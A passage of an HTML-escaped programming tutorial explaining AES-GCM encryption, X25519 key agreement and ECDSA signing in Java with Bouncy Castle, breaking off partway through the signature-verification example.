        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;GCM_NONCE_LENGTH&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Invalid nonce size for GCM: must be "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="no"&gt;GCM_NONCE_LENGTH&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" bytes."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="nc"&gt;GCMBlockCipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;GCMBlockCipher&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AESEngine&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
        &lt;span class="nc"&gt;AEADParameters&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;AEADParameters&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;KeyParameter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="no"&gt;GCM_MAC_SIZE&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nonce&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;forEncryption&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;GCMBlockCipher&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputSize&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;)];&lt;/span&gt;
        &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;processBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;length&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;cipher&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;doFinal&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;InvalidCipherTextException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Cipher operation failed"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In practice, symmetric algorithms are more efficient and faster than asymmetric algorithms, so asymmetric algorithms are often used to &lt;strong&gt;exchange&lt;/strong&gt; symmetric keys or &lt;strong&gt;establishing&lt;/strong&gt; a shared symmetric key. This is where cryptography based on &lt;strong&gt;elliptic curves&lt;/strong&gt; comes into play:&lt;/p&gt;

&lt;h3&gt;
  
  
  Elliptic Curve Cryptography (ECC)
&lt;/h3&gt;

&lt;p&gt;One of the main uses of ECC is Elliptic Curve Diffie-Hellman (ECDH), which allows two parties to securely agree on a common symmetric key thanks to the mathematical properties of curves. This key is then used to encrypt the data using the faster and more efficient symmetric algorithm we described above. One of the most popular curves for this task is &lt;strong&gt;Curve25519&lt;/strong&gt; (also known as &lt;em&gt;X25519&lt;/em&gt;):&lt;/p&gt;

&lt;p&gt;The concept is simple. Each side generates its own key pair: a private key and a public key. The private key remains secret and the public key is passed to the other party. Each party then uses its private key and the opposite party's public key to compute a shared secret.&lt;/p&gt;

&lt;p&gt;The computed shared secrets will be the same for both parties, but for an attacker who does not possess the private key of either party, the secret will remain unknown. Elliptic curve key exchange is based on a mathematical operation called &lt;strong&gt;scalar multiplication&lt;/strong&gt;: the client multiplies the server's public key by own private key, and the server multiplies the client's public key by own private key. Due to the peculiarities of curve math, the result of the multiplication will be the same. This is the &lt;strong&gt;shared secret&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In fact, we meet this algorithm every day, the same principle is used to exchange keys between client and server when establishing &lt;strong&gt;TLS&lt;/strong&gt; connection.&lt;/p&gt;

&lt;p&gt;The implementation of ECDH in Java is very simple, using Bouncy Castle. In the example, we will just generate keys for both parties (the client and server in practice do not know each other's private keys), and calculate the Shared Secret:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ECDHKeyAgreementExample&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt; &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstanceStrong&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;NoSuchAlgorithmException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt; &lt;span class="n"&gt;clientPrivateKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt; &lt;span class="n"&gt;serverPrivateKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;X25519PublicKeyParameters&lt;/span&gt; &lt;span class="n"&gt;clientPublicKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;clientPrivateKey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;generatePublicKey&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="nc"&gt;X25519PublicKeyParameters&lt;/span&gt; &lt;span class="n"&gt;serverPublicKey&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;serverPrivateKey&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;generatePublicKey&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="c1"&gt;// Both of them are same&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;clientSharedSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;agreeSharedSecret&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;clientPrivateKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;serverPublicKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;serverSharedSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;agreeSharedSecret&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serverPrivateKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;clientPublicKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;agreeSharedSecret&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;X25519PrivateKeyParameters&lt;/span&gt; &lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;X25519PublicKeyParameters&lt;/span&gt; &lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;X25519Agreement&lt;/span&gt; &lt;span class="n"&gt;agreement&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;X25519Agreement&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="n"&gt;agreement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;init&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;sharedSecret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// length of key&lt;/span&gt;
        &lt;span class="n"&gt;agreement&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;calculateAgreement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sharedSecret&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;sharedSecret&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we talk about elliptic curves, we have a private and public key pair, right? So we can use the private key to &lt;strong&gt;sign&lt;/strong&gt; the data, and use the public key to verify its integrity. So we can create signatures using &lt;strong&gt;ECDSA (Elliptic Curve Digital Signature Algorithm&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ECDSAExample&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt; &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SecureRandom&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstanceStrong&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;NoSuchAlgorithmException&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;IllegalStateException&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;KeyPair&lt;/span&gt; &lt;span class="n"&gt;keyPair&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;generateECKeyPair&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Hello, this is a message to be signed."&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;dataBytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;StandardCharsets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;UTF_8&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;signData&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dataBytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyPair&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPrivate&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Signature: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nc"&gt;Base64&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getEncoder&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;encodeToString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

        &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="n"&gt;isVerified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;verifySignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dataBytes&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keyPair&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPublic&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Verify signature result: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;isVerified&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;KeyPair&lt;/span&gt; &lt;span class="nf"&gt;generateECKeyPair&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;KeyPairGenerator&lt;/span&gt; &lt;span class="n"&gt;keyPairGenerator&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;KeyPairGenerator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"EC"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;keyPairGenerator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initialize&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ECGenParameterSpec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"secp256r1"&lt;/span&gt;&lt;span class="o"&gt;),&lt;/span&gt; &lt;span class="no"&gt;SECURE_RANDOM&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;keyPairGenerator&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;generateKeyPair&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="nf"&gt;signData&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;PrivateKey&lt;/span&gt; &lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA256withECDSA"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initSign&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;privateKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;update&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sign&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;verifySignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;signature&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;PublicKey&lt;/span&gt; &lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;Signature&lt;/span&gt; &lt;span class="n"&gt;signatureInstance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Signature&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA256withECDSA"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signatureInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;initVerify&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;publicKey&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;signatureInstance&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;update&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

